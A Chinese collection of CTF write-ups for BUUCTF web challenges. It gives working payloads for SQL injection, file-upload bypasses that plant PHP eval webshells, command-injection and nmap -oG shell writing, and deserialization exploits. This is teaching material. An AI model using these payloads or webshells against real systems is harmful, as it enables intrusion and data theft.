BUUCTF是一个ctf平台,里面都是一些经典赛题。
[HCTF 2018]WarmUp
查看源码,注释有source .php,访问得到源码 source.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
<?php highlight_file(__FILE__ ); class emmm { public static function checkFile (&$page) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset ($page) || !is_string($page)) { echo "you can't see it" ; return false ; } if (in_array($page, $whitelist)) { return true ; } $_page = mb_substr( $page, 0 , mb_strpos($page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } $_page = urldecode($page); $_page = mb_substr( $_page, 0 , mb_strpos($_page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST['file' ]) && is_string($_REQUEST['file' ]) && emmm::checkFile($_REQUEST['file' ]) ) { include $_REQUEST['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
由源码可知只有重点要绕过emmm::checkFile($_REQUEST[‘file’]) ,实现任意文件包含读取。 可知存在hint.php文件,访问
1
/source.php?file=hint.php
提示
1
flag not here, and flag in ffffllllaaaagggg
可知flag存在 中 ,要实现包含读取ffffllllaaaagggg,要先让checkFile 返回True,从下面这部分源码着手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
$_page = mb_substr( $page, 0 , mb_strpos($page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } $_page = urldecode($page); $_page = mb_substr( $_page, 0 , mb_strpos($_page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } echo "you can't see it" ; return false ;
从源码可知先对传入的字符串末尾加?号,进行以?为分割符进行字符串截取,接着url解码,然后再次加?号以?为分割符进行字符串截取,最后在进行白名单的判断。我们可以传入一个url编码后的?,前面连接放着白名单的文件,就可以绕过白名单的判断返回True,后面放着我们想要读取的字符串。浏览器会默认帮我们url解码一次,随意我们要将? 二次url编码。
1
source.php?file=hint.php%253f/../../../../ffffllllaaaagggg
可得flag 我这里对?进行一次url编码可以,倒是有点奇怪,不是会默认解码一次吗? 这里还涉及到一个知识点: hint.php%3f双重编码,经过包含时你包含的文件会被当成一个目录
[强网杯 2019]随便注
在注入测试中,可以发现增、删、查、改操作的关键字都被过滤了。
1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
可以使用堆叠注入 得到表名1919810931114514、words
得到字段名
1
-1'; desc 1919810931114514
1919810931114514表有1,hahahah两个字段 得到数据
1
-1'; SET @haha_test = CONCAT ('S' ,'ELECT * from `1919810931114514`' );PREPARE pr2 FROM @haha_test;EXECUTE pr2 ;
[SUCTF 2019]EasySQL
这道题一开始以为是盲注, 没做出来,看大佬们的WP. 这题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
<?php if (isset ($post['query' ])){ $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"" ; if (preg_match("/{$BlackList}/is" ,$post['query' ])){ die ("Nonono." ); } if (strlen($post['query' ])>40 ){ die ("Too long." ); } $sql = "select " .$post['query' ]."||flag from Flag" ; mysqli_multi_query($MysqlLink,$sql); do { if ($res = mysqli_store_result($MysqlLink)){ while ($row = mysqli_fetch_row($res)){ print_r($row); } } }while (@mysqli_next_result($MysqlLink)); } ?>
重点在
1
$sql = "select ".$post['query']." ||flag from Flag";
解法一: 这里没有过滤*
,直接 *
,1就可以了
1
*,1 => "select *,1||flag from Flag"; (1和flag或运算,select * from Flag)
解法二: 更改配置把||视为字符串连接符
1 2
1;set sql_mode=pipes_as_concat;select 1 =>"select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag" ;
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。
[护网杯 2018]easy_tornado
有三个文件 flag.txt
1 2
/flag.txt flag in /fllllllllllllag
welcome.txt
hints.txt
1 2
/hints.txt md5(cookie_secret+md5(filename))
提示flag就在/fllllllllllllag 访问跳到 /error?msg=Error ,猜测有模板注入 尝试输入/error?msg=1,确实存在模板注入。 Python tornado框架存在附属文件 handler.settings,于是尝试输入/error?msg= 返回
1
{'autoreload' : True, 'compiled_template_cache' : False, 'cookie_secret' : '6cf024f5-e2ff-4c16-8989-5b16c648ca74' }
根据hints.txt的提示,依据观察三个文件的url地址可知,需要按照如下访问,才可以得到文件的内容。
1
/file?filename=/文件名&filehash=md5(cookie_secret+md5(文件名))
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import hashlib def md5hash(data): md5=hashlib.md5() md5.update(data) print(md5.hexdigest()) return md5.hexdigest() def filehash(filename): cookie_secret = "6cf024f5-e2ff-4c16-8989-5b16c648ca74" result=md5hash((cookie_secret + md5hash(filename.encode('utf-8'))).encode('utf-8')) return result if __name__=="__main__": filename = "/fllllllllllllag" result="/file?filename={}&filehash={}" print(result.format(filename,filehash(filename)))
访问
1
/file?filename=/fllllllllllllag&filehash=232236da1a1b017078826b86cced846a
可得到flag
[极客大挑战 2019]EasySQL
存在sql注入,万能密码登录
1
/check.php?username=admin &password =orandin' or ' 1
[RoarCTF 2019]Easy Calc
查看html源码,可知有calc.php文件,访问可得waf的过滤方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php error_reporting(0 ); if (!isset ($_GET['num' ])){ show_source(__FILE__ ); }else { $str = $_GET['num' ]; $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ,'\$' ,'\\' ,'\^' ]; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m' , $str)) { die ("what are you want to do?" ); } } eval ('echo ' .$str.';' ); } ?>
tips: PHP的字符串解析特性: PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)
num参数的值如果为字母就会显示页面请求就会错误。可以猜测这里的waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。(主要是waf不是用php写的)
answer: 首先我们要先扫根目录下的所有文件,也就是是scandir(“/“),但是/被过滤了,所以我们用chr(47)绕过,发现flagg文件
1
/calc.php?%20 num=1 ;var_dump(scandir(chr(47 )))
1
/calc.php?%20 num=var_dump(file_get_contents(chr(47 ).chr(102 ).chr(49 ).chr(97 ).chr(103 ).chr(103 )))
[极客大挑战 2019]Havefun
1 2 3 4 5 6 7
<!-- $cat=$_GET['cat' ]; echo $cat;if ($cat=='dog' ){ echo 'Syc{cat_cat_cat_cat}' ; } -->
answer:
[HCTF 2018]admin
随便注册一个账号登录,在修改密码的地方,提示源码
1
https://github.com/woadsl1234/hctf_flask/
HCTF2018-admin
解法一:session伪造 注册一个账号后登入,抓包得到cookie的session,解密得
1
{'_fresh' : True , '_id' : b'fe143907fe0a678ebe8ceb972968e2f7b98bb5586f8db03defbde94a673235364017f31733e74b7fa98a1d2a163f0c7d7b776b3a68dc1ef96a392cd5c205af28' , 'csrf_token' : b'6298f03ac923b6b7006403d7a5ca798a645e338e' , 'image' : b'V7hq' , 'name' : 'test' , 'user_id' : '10' }
如果我们想要加密伪造生成自己想要的session还需要知道SECRET_KEY,在config.py里可以发现了SECRET_KEY。
1
SECRET_KEY = os.environ.get('SECRET_KEY' ) or 'ckj123'
一个flask session加密的脚本 https://github.com/noraj/flask-session-cookie-manager
利用刚刚得到的SECRET_KEY,在将解密出来的name改为admin,最后用脚本生成我们想要的session即可 加密
1
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'fe143907fe0a678ebe8ceb972968e2f7b98bb5586f8db03defbde94a673235364017f31733e74b7fa98a1d2a163f0c7d7b776b3a68dc1ef96a392cd5c205af28', 'csrf_token': b'6298f03ac923b6b7006403d7a5ca798a645e338e', 'image': b'V7hq', 'name': 'admin', 'user_id': '10'}"
解法二: unicode
1 2 3
def strlower (username) : username = nodeprep.prepare(username) return username
假如我们注册ᴬᴰᴹᴵᴺ用户,然后在用ᴬᴰᴹᴵᴺ用户登录,因为在login函数里使用了一次nodeprep.prepare函数,因此我们登录上去看到的用户名为ADMIN,此时我们再修改密码,又调用了一次nodeprep.prepare函数将name转换为admin,然后我们就可以改掉admin的密码,最后利用admin账号登录即可拿到flag。
1
ᴬᴰᴹᴵᴺ -> ADMIN -> admin
[极客大挑战 2019]Secret File
用bp截取数据吧,在302跳转的页面得知secr3t.php
访问secr3t.php得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<html> <title>secret</title> <meta charset="UTF-8" > <?php highlight_file(__FILE__ ); error_reporting(0 ); $file=$_GET['file' ]; if (strstr($file,"../" )||stristr($file, "tp" )||stristr($file,"input" )||stristr($file,"data" )){ echo "Oh no!" ; exit (); } include ($file); ?> </html>
利用php://filter的php伪协议读取
1
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
[极客大挑战 2019]LoveSQL
联合注入 #在get请求中记得url编码,要不会被当成锚点
1
http://666f93b7-713c-4980-819e-74815fd17c90.node3.buuoj.cn/check.php?username=admin&password=dfg' union select 1,(select group_concat(username,0x23,password) from l0ve1ysq1),3 %23
[SUCTF 2019]CheckIn
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
<!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <meta http-equiv="X-UA-Compatible" content="ie=edge" > <title>Upload Labs</title> </head> <body> <h2>Upload Labs</h2> <form action="index.php" method="post" enctype="multipart/form-data" > <label for ="file" >文件名:</label> <input type="file" name="fileUpload" id="file" ><br> <input type="submit" name="upload" value="提交" > </form> </body> </html> <?php $userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR" ]); if (!file_exists($userdir)) { mkdir($userdir, 0777 , true ); } file_put_contents($userdir . "/index.php" , "" ); if (isset ($_POST["upload" ])) { $tmp_name = $_FILES["fileUpload" ]["tmp_name" ]; $name = $_FILES["fileUpload" ]["name" ]; if (!$tmp_name) { die ("filesize too big!" ); } if (!$name) { die ("filename cannot be empty!" ); } $extension = substr($name, strrpos($name, "." ) + 1 ); if (preg_match("/ph|htacess/i" , $extension)) { die ("illegal suffix!" ); } if (mb_strpos(file_get_contents($tmp_name), "<?" ) !== FALSE ) { die ("<? in contents!" ); } $image_type = exif_imagetype($tmp_name); if (!$image_type) { die ("exif_imagetype:not image!" ); } $upload_file_path = $userdir . "/" . $name; move_uploaded_file($tmp_name, $upload_file_path); echo "Your dir " . $userdir. ' <br>' ; echo 'Your files : <br>' ; var_dump(scandir($userdir)); }
tips:
1.exif_imagetype 文件类型判断 可以通过给上传脚本加上相应的幻数头字节就可以绕过:
1 2 3
JPG :FF D8 FF E0 00 10 4A 46 49 46 GIF(相当于文本的GIF89a):47 49 46 38 39 61 PNG: 89 50 4E 47
2.user.iniuser.ini详解介绍
answer: 首先,构造一个.user.ini文件,内容如下:
1 2
GIF89a auto_prepend_file=a.jpg
然后构造一个a.jpg,内容如下:
1 2
GIF89a <script language='php' > @eval ($_POST ['pass' ]);</script>
然后将两个文件分别上传到服务器上,拿到回显1
菜刀连接本就存在的index.php文件 ,该index.php会包含a.jpg里面的一句话
[极客大挑战 2019]PHP1
有www.zip备份文件 index.php
1 2 3 4 5
<?php include 'class.php' ;$select = $_GET['select' ]; $res=unserialize(@$select); ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
<?php include 'flag.php' ;error_reporting(0 ); class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username,$password) { $this ->username = $username; $this ->password = $password; } function __wakeup () { $this ->username = 'guest' ; } function __destruct () { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag; echo $flag; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } } ?>
tips:__wakeup()
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
关于类属性的访问权限:
1 2 3
public 不用修饰 private 需要加%00类名%00 protected 则需要使用%00*%00
answer:
1 2 3 4 5 6 7 8
<?php class Name { private $username ='admin' ; private $password =100 ; } print (serialize(new Name()));?>
将成员数目2修改为其他数目,private的不可打印字符用%00代替
1
O:4:"Name" :3:{s:14:"%00Name%00username" ;s:5:"admin" ;s:14:"%00Name%00password" ;i:100;}
[极客大挑战 2019]Knife
直接菜刀连接 flag在根目录
[极客大挑战 2019]Http
在html源码中找到Secret.php文件,访问后提示要从https://www.Sycsecret.com访问,bp抓包添加header头部
1
Referer: https://www.Sycsecret.com
又提示Please use “Syclover” browser ,修改User-Agent
又提示No!!! you can only read this locally!!! ,添加X-Forwarded-For
1
X-Forwarded-For:127.0.0.1
[GXYCTF2019]Ping Ping Ping
过滤了空格个flag的关键字
answer: 命令执行变量拼接
1
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
过滤bash用sh执行
1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联执行
将反引号内命令的输出作为输入执行
1
?ip=127.0.0.1;cat$IFS$9`ls`
可以查看index.php具体的过滤规则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
/?ip= <pre>PING 1 (0.0 .0 .1 ): 56 data bytes /?ip= <?php if (isset ($_GET['ip' ])){ $ip = $_GET['ip' ]; if (preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" , $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" , $ip, $match); die ("fxck your symbol!" ); } else if (preg_match("/ /" , $ip)){ die ("fxck your space!" ); } else if (preg_match("/bash/" , $ip)){ die ("fxck your bash!" ); } else if (preg_match("/.*f.*l.*a.*g.*/" , $ip)){ die ("fxck your flag!" ); } $a = shell_exec("ping -c 4 " .$ip); echo "<pre>" ; print_r($a); } ?>
[ACTF2020 新生赛]Include
php伪协议读取
1
?file=php://filter/read =convert.base64-encode/resource=flag.php
Hack World
写个脚本看过滤了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
import requestsdef read_dict () : dict=[] with open("sqldict.txt" ,'r' ,encoding="utf-8" ) as f: for line in f.readlines(): dict.append(line.strip()) return dict def sql_filter () : url = "http://2b245443-7cb2-4333-87d0-6e1d1048262b.node3.buuoj.cn/index.php" valueFilter=[] sqlDict=read_dict() for value in sqlDict: data = { "id" : "1" + value } res=requests.post(url=url,data=data) if "SQL Injection Checked." in res.text: valueFilter.append(value) print("Filter word: " +value) print(valueFilter) sql_filter()
源码内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
<?php $dbuser='root' ; $dbpass='root' ; function safe ($sql) { $blackList = array (' ' ,'||' ,'#' ,'-' ,';' ,'&' ,'+' ,'or' ,'and' ,'`' ,'"' ,'insert' ,'group' ,'limit' ,'update' ,'delete' ,'*' ,'into' ,'union' ,'load_file' ,'outfile' ,'./' ); foreach ($blackList as $blackitem){ if (stripos($sql,$blackitem)){ return False ; } } return True ; } if (isset ($_POST['id' ])){ $id = $_POST['id' ]; }else { die (); } $db = mysql_connect("localhost" ,$dbuser,$dbpass); if (!$db){ die (mysql_error()); } mysql_select_db("ctf" ,$db); if (safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1" ); if ($query){ $result = mysql_fetch_array($query); if ($result){ echo $result['content' ]; }else { echo "Error Occured When Fetch Result." ; } }else { var_dump($query); } }else { die ("SQL Injection Checked." ); }
由safe函数可知,限制了一些空格、逻辑连接符、注释符、一些操作的关键字。
这里可以用字符串截断函数,把每个字符截断出来。如果当前字符等于某个字符,返回1,否则返回2。
比如: 截取到了flag中的第一个字符f时,从ascii码表里爆破 , f =a 返回 2 , f = f 返回1
这里过滤的空格可以用括号代替 answer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
import requestsdef binary () : url="http://2b245443-7cb2-4333-87d0-6e1d1048262b.node3.buuoj.cn/index.php" flag="" for i in range(1 ,100 ): left = 0x1f right = 0x7f while 1 : mid=left+(right-left)//2 if left==mid: flag=flag+chr(left) print(flag) break payload="if(ascii((mid((select(flag)from(flag)),{},1)))<{},1,2)" data={ "id" :payload.format(i,mid) } res=requests.post(url=url,data=data) if "Hello" in res.text: right=mid else : left=mid if "}" in flag: return binary() `
ACTF2020 新生赛Exec
强网杯 2019]高明的黑客
[极客大挑战 2019]Upload
黑名单,没有过滤phtml, 检测文件头,以及过滤了php
[极客大挑战 2019]BabySQL
过滤了union、select、from、where
得到表名b4bsql,geekuser
1
http://b74ce88f-f71f-499f-802f-109c754855d2.node3.buuoj.cn/check.php?username=ad&password=pa' uniunionon seselectlect 1,(seleselectct group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),3%23
flag
1
http://b74ce88f-f71f-499f-802f-109c754855d2.node3.buuoj.cn/check.php?username=ad&password=pa' uniunionon seselectlect 1,(seleselectct group_concat(passwoorrd) frofromm b4bsql),3%23
[ACTF2020 新生赛]Upload
phtml绕过
[ACTF2020 新生赛]BackupFile
index.php.bak备份
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?php include_once "flag.php" ;if (isset ($_GET['key' ])) { $key = $_GET['key' ]; if (!is_numeric($key)) { exit ("Just num!" ); } $key = intval($key); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3" ; if ($key == $str) { echo $flag; } } else { echo "Try to find out source file!" ; }
弱类型
[极客大挑战 2019]BuyFlag
[SUCTF 2019]CheckIn
综上所述.user.ini的利用条件如下:
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
从这来看.user.ini要比.htaccess的应用范围要广一些,毕竟.htaccess只能用于Apache 利用.user.ini进行文件上传,参考自从SUCTF 2019 CheckIn 浅谈.user.ini的利用 上传这样的一个ini文件
1 2
GIF89a auto_prepend_file=a.jpg
再上传一个a.jpg文件
1 2
GIF89a <script language='php' >system('cat /flag' );</script>
[ZJCTF 2019]NiZhuanSiWei
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php $text = $_GET["text" ]; $file = $_GET["file" ]; $password = $_GET["password" ]; if (isset ($text)&&(file_get_contents($text,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents($text,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file)){ echo "Not now!" ; exit (); }else { include ($file); $password = unserialize($password); echo $password; } } else { highlight_file(__FILE__ ); }
解题: 读取useless.php文件
1
?text=data://text/plain,welcome to the zjctf&file=php://filter/read =convert.base64-encode/resource=useless.php
useless.php
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php class Flag { public $file; public function __tostring () { if (isset ($this ->file)){ echo file_get_contents($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
echo 刚好以字符串形式调用Flag类,所以直接赋值$file=”flag.php”,最后payload如下
1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag" :1:{s:4:"file" ;s:8:"flag.php" ;}
[网鼎杯 2018]Fakebook
访问robots.txt,发现存在user.php.bak备份 user.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
<?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name, $age, $blog) { $this ->name = $name; $this ->age = (int)$age; $this ->blog = $blog; } function get ($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close($ch); return $output; } public function getBlogContents () { return $this ->get($this ->blog); } public function isValidBlog () { $blog = $this ->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog); } }
随便注册一个用户,view.php?no=1存在注入
1
view.php?no=-1/**/union/**/select/**/1,(select/*1*/group_concat(data)/*1*/from/**/users),3,4
可以发现data字段存放的就是序列化字符串,在使用的时候应该就会调用进行data字段进行反序列化操作
而且根据报错这里也知道了绝对路劲是/var/www/html/
构造反序列化POC
1 2 3 4 5 6 7 8 9 10
<?php class UserInfo { public $name = "test" ; public $age = 7 ; public $blog = "file:///var/www/html/flag.php" ; } $res = new UserInfo(); echo serialize($res)
根据之前的注入可知,有回显的是第二位,也就是username字段,data对应应该就是第四个字段为,将反序列化字符串尝试以注入的方式写入
1
?no=-1 union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
[极客大挑战 2019]HardSQL
用户名输入单引号之后报错,简单测试一下and or这些被过滤掉了 使用^异或符号替换and
1
1%27^extractvalue(1,concat(0x7e,user(),0x7e))^'1
等号也被过滤了,等号可以使用like来代替,空格使用()括号来代替 获取表名
1
1%27^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where (table_schema)like%27geek%27),0x7e))^'1
获取数据
1
1%27^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where (table_name)like%27H4rDsq1%27),0x7e))^'
本来想用mid、substr函数的,但是被过滤了,换right函数输出后面的flag
1
1%27^extractvalue(1,concat(0x7e,(select(group_concat(right(password,13)))from(H4rDsq1)),0x7e))^'1
[GXYCTF2019]BabySQli
返回包里面有一串加密字符串,使用base32+base64进行解密得到
1
select * from user where username = '$name'
题目描述里面将密码进行了md5加密,所以可以猜测后端的代码是:
1 2 3 4 5 6 7 8 9 10
<?php if ($row['username' ]==’admin’){ if ($row['password' ]==md5($pass)){ echo $flag; }else { echo “wrong pass!”; } } else { echo “wrong user!”;} ?>
这里考核的一个知识点是:
当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。 即输入admin,密码设置为123456,将123456MD5加密后放进union select 查询中
也就是当name代入查询查询时,在MySQL里面就会生成用户名为admin,密码为123456 MD5加密后的虚拟的数据,同时我们用123456密码进行登录,就能够绕过限制。
最后的payload为:
1 2
username栏:' union select 1,"admin","e10adc3949ba59abbe56e057f20f883e";# password栏:123456
[网鼎杯 2020 青龙组]AreUSerialz
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
<?php include ("flag.php" ); highlight_file(__FILE__ ); class FileHandler { protected $op; protected $filename; protected $content; function __construct () { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process(); } public function process () { if ($this ->op == "1" ) { $this ->write(); } else if ($this ->op == "2" ) { $res = $this ->read(); $this ->output($res); } else { $this ->output("Bad Hacker!" ); } } private function write () { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen((string)$this ->content) > 100 ) { $this ->output("Too long!" ); die (); } $res = file_put_contents($this ->filename, $this ->content); if ($res) $this ->output("Successful!" ); else $this ->output("Failed!" ); } else { $this ->output("Failed!" ); } } private function read () { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents($this ->filename); } return $res; } private function output ($s) { echo "[Result]: <br>" ; echo $s; } function __destruct () { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process(); } } function is_valid ($s) { for ($i = 0 ; $i < strlen($s); $i++) if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125 )) return false ; return true ; } if (isset ($_GET{'str' })) { $str = (string)$_GET['str' ]; if (is_valid($str)) { $obj = unserialize($str); } }
弱类型绕过op,php://filter读取文件, is_valid()两种绕过方式 (1). p神在小密圈内曾经发过一个点就是在反序列化时,将s改为S,此时后面的字符串支持16进制表示,因此我们的0x00就可以改写为\00,因为在is_valid中是将我们序列化后的字符串逐个转为ascii然后进行对比,而因此\00会被解析为三个字符,且都在允许的范围内,因此可以成功绕过 (2). 这道题因为出题人的php版本较高,前面的绕过还可以用php7.2+的黑魔法,public属性直接反序列化就能用了。
1 2 3 4 5 6 7 8 9 10 11
<?php class FileHandler { public $op=2 ; public $filename="php://filter/read=convert.base64-encode/resource=flag.php" ; public $content; } $A=new FileHandler(); $B=serialize($A); echo $B;?>
[GYCTF2020]Blacklist
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。 HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。 用法:
1 2 3
HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。 HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。 HANDLER tbl_name CLOSE来关闭打开的句柄。
最后
1 2 3 4
1'; handler FlagHere open; handler FlagHere read first; handler FlagHere close;#
[MRCTF2020]你传你🐎呢
文件类型为image/jpeg 可以上传.htaccess文件和jpg文件
先上传一下.htaccess文件
1
SetHandler application/x-httpd-php
再上传图片马
[RoarCTF 2019]Easy Java
WEB-INF/web.xml泄露
WEB-INF主要包含一下文件或目录:
1 2 3 4 5 6
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件 漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
漏洞成因
通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
WEB-INF/web.xml 看到
com.Wm.ctf.FlagController 关键路径 根据前文:
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
我们结合tomcat的项目存放路径经验试试下载FlagController.class试试 payload:
1
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php if (isset ($_SERVER['HTTP_X_FORWARDED_FOR' ])) { $_SERVER['REMOTE_ADDR' ] = $_SERVER['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET['host' ])) { highlight_file(__FILE__ ); } else { $host = $_GET['host' ]; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin" . $_SERVER['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host); }
http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/
利用escapeshellarg()+escapeshellcmd()的两次转义,导致闭合单引号后即可执行任意参数,然后利用Nmap的-oG参数写入shell
1
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
[MRCTF2020]Ez_bypass
1 2
?gg[]=1&id[]=2 post:passwd=1234567a
[GKCTF2020]cve版签到
cve-2020-7066 get_headers()会截断URL中空字符后的内容
这是在php7.3中发现的 ,但是一直有这个漏洞
测试脚本显示这会让恶意脚本获取意外域名的header 。这些header可能泄露敏感信息或者意外地包含攻击者控制的数据。
测试脚本
1 2 3 4 5 6 7 8 9 10
